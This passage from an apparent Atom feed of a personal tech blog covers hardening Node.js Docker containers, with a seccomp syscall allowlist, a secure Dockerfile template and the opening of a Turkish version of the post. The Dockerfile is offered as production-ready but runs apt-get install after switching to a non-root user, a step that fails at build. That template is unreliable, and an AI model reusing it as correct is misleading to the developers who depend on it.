&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigaction"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigpending"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigprocmask"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigqueueinfo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigreturn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigsuspend"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"rt_sigtimedwait"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_getaffinity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_getattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_getparam"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_getscheduler"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_rr_get_interval"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_setaffinity"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_setattr"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_setparam"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sched_setscheduler"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sched_yield"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"seccomp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"select"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"semctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"semget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"semop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"semtimedop"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sendfile"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sendmmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sendmsg"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sendto"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"set_gid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"set_robust_list"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"set_tid_address"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setdomainname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setgroups"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sethostname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setitimer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setpgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setpriority"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setregid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setresgid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setresuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setreuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setrlimit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setsid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"setsockopt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"setuid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shmctl"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shmdt"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"shmget"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"shutdown"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sigaltstack"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"signalfd4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"socket"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"socketpair"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"splice"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"stat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"statfs"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"statx"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"symlink"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"symlinkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sync"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"sync_file_range"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sysinfo"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tee"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"tgkill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"time"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_delete"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"timer_getoverrun"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_gettime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timer_settime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"timerfd_create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timerfd_gettime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"timerfd_settime"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"tkill"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"truncate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"umask"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"uname"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"unlink"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"unlinkat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"unshare"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"utimensat"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"utimes"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"vfork"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vmsplice"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wait4"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"waitid"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"write"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="s2"&gt;"writev"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;"action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SCMP_ACT_ALLOW"&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To apply this profile:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;--security-opt&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;seccomp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;node-seccomp.json&lt;span class="w"&gt; &lt;/span&gt;my-app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="lets-put-it-all-together-secure-dockerfile"&gt;🏗️ Let's Put It All Together: Secure Dockerfile&lt;a class="headerlink" href="#lets-put-it-all-together-secure-dockerfile" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Our production-ready secure Dockerfile template, which covers all the steps discussed and includes proper signal handling with &lt;code&gt;tini&lt;/code&gt; integration, is as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c"&gt;# Stage 1: Build&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production

&lt;span class="c"&gt;# Stage 2: Runtime&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;groupadd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;useradd&lt;span class="w"&gt; &lt;/span&gt;--system&lt;span class="w"&gt; &lt;/span&gt;--uid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--gid&lt;span class="w"&gt; &lt;/span&gt;appuser&lt;span class="w"&gt; &lt;/span&gt;appuser

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="c"&gt;# Copy files directly with non-root user ownership&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--from&lt;span class="o"&gt;=&lt;/span&gt;builder&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;/app/node_modules&lt;span class="w"&gt; &lt;/span&gt;./node_modules
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--chown&lt;span class="o"&gt;=&lt;/span&gt;appuser:appuser&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.

&lt;span class="k"&gt;USER&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;appuser&lt;/span&gt;
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;

&lt;span class="c"&gt;# Install tini for signal management&lt;/span&gt;
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;update&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-y&lt;span class="w"&gt; &lt;/span&gt;--no-install-recommends&lt;span class="w"&gt; &lt;/span&gt;tini&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;apt-get&lt;span class="w"&gt; &lt;/span&gt;clean&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;rm&lt;span class="w"&gt; &lt;/span&gt;-rf&lt;span class="w"&gt; &lt;/span&gt;/var/lib/apt/lists/*
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"/usr/bin/tini"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"--"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Container security is one of those topics we postpone until something bad happens, but fixing it retroactively is the most painful thing. Implementing these four steps (non-root user, dropping capabilities, read-only filesystem, and seccomp) during the initial setup phase is free and saves you from future security headaches.&lt;/p&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/nginx-ters-vekil-sunucu-yapilandirmak/"&gt;Configuring Nginx as a Reverse Proxy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/docker-imaj-boyutu-kucultme-rehberi/"&gt;Diet for Fat Docker Images: Journey from 1.2 GB to 78 MB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-tcp-tuning-node-js-microservices/"&gt;Linux TCP Tuning and Kernel Settings for Node.js Microservices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Linux capabilities divide root privileges into smaller, distinct rights distributed to processes.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Secure Computing Mode; filters system calls to apply restrictions at the kernel level.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="Docker"/><category term="Node.js"/><category term="Güvenlik"/><category term="DevOps"/><category term="Konteyner"/></entry><entry><title>Docker'da Node.js Konteynerlerini Root Olmadan Çalıştırmak</title><link href="https://yuceltoluyag.github.io/docker-node-js-root-olmadan-calistirmak/" rel="alternate"/><published>2026-06-26T02:30:00+03:00</published><updated>2026-06-26T02:30:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/docker-node-js-root-olmadan-calistirmak/</id><summary type="html">&lt;p&gt;Node.js Docker konteynerlerini root yetkilerinden arındırarak Linux Capabilities, salt okunur dosya sistemi ve seccomp ile güvenli hale getirme rehberi.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Ge&amp;ccedil;en g&amp;uuml;n eski bir projenin Dockerfile'&amp;inodot;n&amp;inodot; incelerken birden s&amp;inodot;rt&amp;inodot;mdan a&amp;scedil;a&amp;gbreve;&amp;inodot; so&amp;gbreve;uk sular bo&amp;scedil;ald&amp;inodot;. Y&amp;inodot;llar &amp;ouml;nce h&amp;inodot;zl&amp;inodot;ca aya&amp;gbreve;a kald&amp;inodot;r&amp;inodot;p yay&amp;inodot;na ald&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z o Node.js sunucusunda ne bir &lt;code&gt;USER&lt;/code&gt; komutu vard&amp;inodot; ne de bir yetki s&amp;inodot;n&amp;inodot;rland&amp;inodot;rmas&amp;inodot;. Konteyner do&amp;gbreve;rudan root olarak &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;yordu. Yani o d&amp;ouml;nem &lt;code&gt;lodash&lt;/code&gt; veya &lt;code&gt;express&lt;/code&gt; &amp;uuml;zerinde &amp;ccedil;&amp;inodot;kacak tek bir RCE (uzaktan kod &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma) a&amp;ccedil;&amp;inodot;&amp;gbreve;&amp;inodot;, sald&amp;inodot;rgana konteyner i&amp;ccedil;inde tam root yetkisi vermeye yetecekti. Oradan sonras&amp;inodot; ise kernel zafiyetleri veya yanl&amp;inodot;&amp;scedil; yap&amp;inodot;land&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; seccomp ayarlar&amp;inodot; &amp;uuml;zerinden ana makineye (host) s&amp;inodot;zmaya bak&amp;inodot;yordu.&lt;/p&gt;
&lt;p&gt;&amp;Idot;nternetteki rehberlerin yar&amp;inodot;s&amp;inodot;ndan fazlas&amp;inodot;nda g&amp;ouml;rece&amp;gbreve;in o me&amp;scedil;hur Dockerfile &amp;scedil;ablonu tam olarak &amp;scedil;&amp;ouml;yledir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:20-slim&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;package*.json&lt;span class="w"&gt; &lt;/span&gt;./
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;ci&lt;span class="w"&gt; &lt;/span&gt;--only&lt;span class="o"&gt;=&lt;/span&gt;production
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"node"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"server.js"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada root olmayan bir kullan&amp;inodot;c&amp;inodot; yok. Linux yetenekleri (capabilities) d&amp;uuml;&amp;scedil;&amp;uuml;r&amp;uuml;lmemi&amp;scedil;. Salt okunur dosya sistemi veya seccomp k&amp;inodot;s&amp;inodot;tlamas&amp;inodot; hak getire. Docker build al&amp;inodot;rs&amp;inodot;n, t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r, t&amp;uuml;m testlerden ge&amp;ccedil;er. Ancak tek bir &lt;code&gt;curl&lt;/code&gt; komutuyla konteynerden &amp;ccedil;&amp;inodot;k&amp;inodot;p ana sunucuyu ele ge&amp;ccedil;irebilecek bir sald&amp;inodot;r&amp;inodot; zincirine kap&amp;inodot; aralar.&lt;/p&gt;
&lt;p&gt;Bir&amp;ccedil;o&amp;gbreve;umuz Docker konteynerlerinin tamamen izole ve g&amp;uuml;venli oldu&amp;gbreve;unu varsayariz. Ancak default ayarlar&amp;inodot;yla b&amp;inodot;rak&amp;inodot;lm&amp;inodot;&amp;scedil; bir konteyner, kap&amp;inodot;s&amp;inodot; a&amp;ccedil;&amp;inodot;k b&amp;inodot;rak&amp;inodot;lm&amp;inodot;&amp;scedil; ama &amp;ouml;n&amp;uuml;ne g&amp;ouml;stermelik bir g&amp;uuml;venlik kul&amp;uuml;besi konulmu&amp;scedil; bir siteye benzer. &amp;Idot;&amp;scedil;te bu y&amp;uuml;zden dostum, bug&amp;uuml;n bu a&amp;ccedil;&amp;inodot;&amp;gbreve;&amp;inodot; kapatacak, Node.js konteynerlerini z&amp;inodot;rh gibi koruyacak d&amp;ouml;rt ad&amp;inodot;mdan bahsedece&amp;gbreve;iz: Linux yeteneklerini k&amp;inodot;s&amp;inodot;tlamak, root olmayan kullan&amp;inodot;c&amp;inodot;ya ge&amp;ccedil;mek, dosya sistemini salt okunur yapmak ve seccomp profili uygulamak.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="konteyner-icindeki-root-neden-hala-roottur"&gt;🔑 Konteyner &amp;Idot;&amp;ccedil;indeki Root Neden H&amp;acirc;l&amp;acirc; Root'tur?&lt;a class="headerlink" href="#konteyner-icindeki-root-neden-hala-roottur" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
